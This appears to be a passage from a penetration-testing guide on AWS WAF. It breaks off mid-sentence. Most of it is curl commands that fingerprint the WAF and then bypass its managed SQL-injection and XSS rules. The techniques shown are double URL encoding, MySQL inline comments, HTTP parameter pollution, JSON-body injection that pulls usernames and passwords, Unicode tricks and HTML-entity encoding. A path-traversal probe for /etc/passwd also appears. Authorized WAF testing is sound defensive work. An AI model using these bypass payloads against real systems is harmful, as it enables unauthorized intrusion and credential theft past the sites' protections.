AWS WAF protects web applications fronted by CloudFront, ALB, API Gateway, and AppSync — but WAF rules are pattern-matching engines with well-known bypass classes. Managed rule groups from AWS and Marketplace vendors ship with rigid regex patterns that attackers routinely evade using encoding variations, case manipulation, and protocol quirks. This guide covers systematic AWS WAF security testing: discovering rule gaps, bypassing managed rules, evading rate-based rules, and validating WAF effectiveness against real attack payloads.
| Component | Security Concern | Test Approach |
|---|---|---|
| WAF Web ACL rules | Pattern bypass via encoding | Payload variation testing |
| Managed rule groups | Known bypass patterns for each group | Group-specific test payloads |
| Rate-based rules | Distributed evasion, header spoofing | Multi-IP, X-Forwarded-For abuse |
| CloudFront distribution | Direct ALB origin bypass | Origin IP discovery |
| IP set rules | IP reputation bypass via residential proxies | Proxy pool testing |
| Geo restriction | VPN/proxy bypass | Region-specific proxy testing |
| WAF logging (Kinesis) | Logging gaps, sampling | Log completeness audit |
# Detect AWS WAF presence from response headers and behavior
# AWS WAF 403 response includes: x-amzn-requestid, x-amz-cf-id (CloudFront)
curl -s -I "https://target.com/?test=" | grep -i "x-amzn\|x-amz\|server\|x-cache"
# Identify WAF type and version
curl -s -D - "https://target.com/" -H "X-Forwarded-For: 1.2.3.4" | grep -i "x-amzn-waf\|x-fw-version"
# Check if CloudFront is fronting the origin (vs ALB directly)
curl -s -I "https://target.com/" | grep -i "via\|x-cache\|x-amz-cf-id"
# Via: 1.1 cloudfront.net (CloudFront) = CloudFront in path
# Trigger different WAF block page patterns to identify rule groups
# SQLi trigger
curl -s -o /dev/null -w "%{http_code}" "https://target.com/?id=1+OR+1=1--"
# XSS trigger
curl -s -o /dev/null -w "%{http_code}" "https://target.com/?q="
# Path traversal trigger
curl -s -o /dev/null -w "%{http_code}" "https://target.com/../../../../etc/passwd"# AWS WAF AWSManagedRulesSQLiRuleSet bypass techniques
# Double URL encoding (WAF decodes once, sends to app which decodes again)
# ' OR 1=1-- becomes %2527%20OR%201%3D1--
curl "https://target.com/api/users?id=%2527%20OR%201%3D1--"
# Case variation + comments (regex typically case-insensitive but comments break tokens)
curl "https://target.com/api?id=1 /*!50000OR*/ 1=1--"
# Unicode normalization bypass
# Use Unicode equivalents: ＜ (U+FF1C) instead of <
curl "https://target.com/api?q=%EF%BC%8CSELECT%EF%BC%8D"
# HTTP parameter pollution — split payload across parameters
# If the app concatenates: ?id=1&id= UNION SELECT
curl "https://target.com/api?id=1&id=%20UNION%20SELECT%201--"
# JSON injection if WAF only inspects query string, not JSON body
curl -X POST "https://target.com/api/search" \
-H "Content-Type: application/json" \
-d '{"query": "1 UNION SELECT username,password FROM users--"}'
# Inline comments to break keywords
curl "https://target.com/?id=1/**/UNION/**/SELECT/**/1,2,3--"
# Scientific notation bypass
curl "https://target.com/?id=1e0+UNION+SELECT+1--"# AWS WAF AWSManagedRulesKnownBadInputsRuleSet and CommonRuleSet bypass
# HTML entity encoding
# → <script>alert(1)</script>
curl "https://target.com/?q=%26%2360%3Bscript%26%2362%3Balert(1)%26%2360%3B/script%26%2362%3B"
# SVG-based XSS (often missed by WAF rules targeting